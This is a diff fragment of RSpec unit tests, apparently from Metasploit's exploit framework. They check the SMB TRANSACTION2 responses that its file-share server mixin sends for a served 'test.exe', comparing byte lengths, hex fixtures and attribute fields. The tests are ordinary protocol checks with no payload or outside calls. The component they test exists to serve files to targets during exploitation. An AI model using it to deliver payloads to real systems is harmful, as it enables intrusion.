"\x00\x44\x00\x41\x00\x00\x00\x00\x00\x4e\x00\xfd\xff\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:non_existent_path) { 'non_existent' }
|
||||
let(:file_path) { 'test.exe' }
|
||||
let(:folder_path) { '\\' }
|
||||
|
||||
let(:error_res_length) { 39 }
|
||||
|
||||
let(:existent_file_file_both_dir_res_length) { 179 }
|
||||
let(:existent_folder_file_both_dir_res_length) { 165 }
|
||||
|
||||
let(:existent_file_file_names_res_length) { 97 }
|
||||
let(:existent_folder_file_names_res_length) { 83 }
|
||||
|
||||
let(:existent_file_file_full_res_length) { 153 }
|
||||
let(:existent_folder_file_full_res_length) { 139 }
|
||||
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_find_file_both_directory_info_res" do
|
||||
context "when no opts" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_find_file_both_directory_info_res(client)).to eq(default_find_file_both_directory_info_res_length)
|
||||
end
|
||||
|
||||
it "sends a default TRANSACTION2 response" do
|
||||
mod.send_find_file_both_directory_info_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_find_file_both_directory_info_res)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_find_file_names_info_res" do
|
||||
context "when no opts" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_find_file_names_info_res(client)).to eq(default_find_file_names_info_res_length)
|
||||
end
|
||||
|
||||
it "sends a default TRANSACTION2 response" do
|
||||
mod.send_find_file_names_info_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_find_file_names_info_res)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_find_full_directory_info_res" do
|
||||
context "when no opts" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_find_full_directory_info_res(client)).to eq(default_find_full_directory_info_res_length)
|
||||
end
|
||||
|
||||
it "sends a default TRANSACTION2 response" do
|
||||
mod.send_find_full_directory_info_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_find_full_directory_info_res)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_find_file_both_directory_info" do
|
||||
context "when non existent path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)).to eq(error_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do
|
||||
mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent file path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_both_directory_info(client, file_path)).to eq(existent_file_file_both_dir_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
|
||||
mod.smb_cmd_find_file_both_directory_info(client, file_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent folder path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_both_directory_info(client, folder_path)).to eq(existent_folder_file_both_dir_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
|
||||
mod.smb_cmd_find_file_both_directory_info(client, folder_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_find_file_names_info" do
|
||||
context "when non existent path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_names_info(client, non_existent_path)).to eq(error_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do
|
||||
mod.smb_cmd_find_file_names_info(client, non_existent_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent file path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_names_info(client, file_path)).to eq(existent_file_file_names_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
|
||||
mod.smb_cmd_find_file_names_info(client, file_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent folder path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_names_info(client, folder_path)).to eq(existent_folder_file_names_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
|
||||
mod.smb_cmd_find_file_names_info(client, folder_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_find_file_full_directory_info" do
|
||||
context "when non existent path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)).to eq(error_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do
|
||||
mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent file path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_full_directory_info(client, file_path)).to eq(existent_file_file_full_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
|
||||
mod.smb_cmd_find_file_full_directory_info(client, file_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent folder path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_find_file_full_directory_info(client, folder_path)).to eq(existent_folder_file_full_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
|
||||
mod.smb_cmd_find_file_full_directory_info(client, folder_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,421 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
describe Msf::Exploit::Remote::SMB::Server::Share do
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
let(:client_string) { '' }
|
||||
let(:client) { StringIO.new(client_string) }
|
||||
|
||||
let(:default_info_basic_res_length) { 101 }
|
||||
let(:default_info_basic_res) do
|
||||
"\x00\x00\x00\x61\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0a\x02\x00\x28\x00\x00\x00\x02\x00\x37\x00\x00" +
|
||||
"\x00\x28\x00\x39\x00\x00\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:default_info_standard_res_length) { 83 }
|
||||
let(:default_info_standard_res) do
|
||||
"\x00\x00\x00\x4f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0a\x02\x00\x16\x00\x00\x00\x02\x00\x37\x00\x00" +
|
||||
"\x00\x16\x00\x39\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:default_info_network_res_length) { 117 }
|
||||
let(:default_info_network_res) do
|
||||
"\x00\x00\x00\x71\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
|
||||
"\x00\x00\x44\x43\x0a\x02\x00\x38\x00\x00\x00\x02\x00\x37\x00\x00" +
|
||||
"\x00\x38\x00\x39\x00\x00\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:non_existent_fid) { 0x1234 }
|
||||
let(:file_fid) { 0xdead }
|
||||
let(:folder_fid) { 0xbeef }
|
||||
|
||||
let(:non_existent_path) { 'non_existent' }
|
||||
let(:file_path) { 'test.exe' }
|
||||
let(:folder_path) { '\\' }
|
||||
|
||||
let(:error_res_length) { 39 }
|
||||
|
||||
let(:existent_fid_info_basic_res_length) { 101 }
|
||||
let(:info_standard_res_length) { 83 }
|
||||
let(:existent_path_info_basic_res_length) { 101 }
|
||||
let(:existent_path_info_standard_res_length) { 83 }
|
||||
let(:existent_path_info_network_res_length) { 117 }
|
||||
|
||||
before(:each) do
|
||||
mod.instance_variable_set('@state', {
|
||||
client => {
|
||||
:multiplex_id => 0x41424344,
|
||||
:process_id => 0x45464748,
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
})
|
||||
mod.lo = 0
|
||||
mod.hi = 0
|
||||
mod.share = 'test'
|
||||
mod.path_name = "\\"
|
||||
mod.file_name = 'test.exe'
|
||||
mod.file_contents = 'metasploit'
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_info_basic_res" do
|
||||
context "when no opts" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_info_basic_res(client)).to eq(default_info_basic_res_length)
|
||||
end
|
||||
|
||||
it "sends a default TRANSACTION2 response" do
|
||||
mod.send_info_basic_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_info_basic_res)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_info_standard_res" do
|
||||
context "when no opts" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_info_standard_res(client)).to eq(default_info_standard_res_length)
|
||||
end
|
||||
|
||||
it "sends a default TRANSACTION2 response" do
|
||||
mod.send_info_standard_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_info_standard_res)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_info_network_res" do
|
||||
context "when no opts" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_info_network_res(client)).to eq(default_info_network_res_length)
|
||||
end
|
||||
|
||||
it "sends a default TRANSACTION2 response" do
|
||||
mod.send_info_network_res(client)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
expect(res).to eq(default_info_network_res)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans_query_file_info_basic" do
|
||||
context "when non existent fid" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)).to eq(error_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
|
||||
mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent file fid" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_file_info_basic(client, file_fid)).to eq(existent_fid_info_basic_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do
|
||||
mod.smb_cmd_trans_query_file_info_basic(client, file_fid)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent folder fid" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)).to eq(existent_fid_info_basic_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do
|
||||
mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans_query_file_info_standard" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)).to eq(info_standard_res_length)
|
||||
end
|
||||
|
||||
it "always sends a TRANSACTION2 response with SMB_QUERY_FILE_STANDARD_INFO about the shared file" do
|
||||
mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans_query_path_info_basic" do
|
||||
context "when non existent path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)).to eq(error_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
|
||||
mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent file path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_basic(client, file_path)).to eq(existent_path_info_basic_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do
|
||||
mod.smb_cmd_trans_query_path_info_basic(client, file_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent folder path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_basic(client, folder_path)).to eq(existent_path_info_basic_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do
|
||||
mod.smb_cmd_trans_query_path_info_basic(client, folder_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#smb_cmd_trans_query_path_info_standard" do
|
||||
context "when non existent path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)).to eq(error_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
|
||||
mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent file path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_standard(client, file_path)).to eq(existent_path_info_standard_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the Directory field unset" do
|
||||
mod.smb_cmd_trans_query_path_info_standard(client, file_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['Directory']).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent folder path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_standard(client, folder_path)).to eq(existent_path_info_standard_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with the Directory field set" do
|
||||
mod.smb_cmd_trans_query_path_info_standard(client, folder_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['Directory']).to eq(1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe "#smb_cmd_trans_query_path_info_network" do
|
||||
context "when non existent path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)).to eq(error_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
|
||||
mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
|
||||
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent file path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_network(client, file_path)).to eq(existent_path_info_network_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do
|
||||
mod.smb_cmd_trans_query_path_info_network(client, file_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL)
|
||||
end
|
||||
end
|
||||
|
||||
context "when existent folder path" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.smb_cmd_trans_query_path_info_network(client, folder_path)).to eq(existent_path_info_network_res_length)
|
||||
end
|
||||
|
||||
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do
|
||||
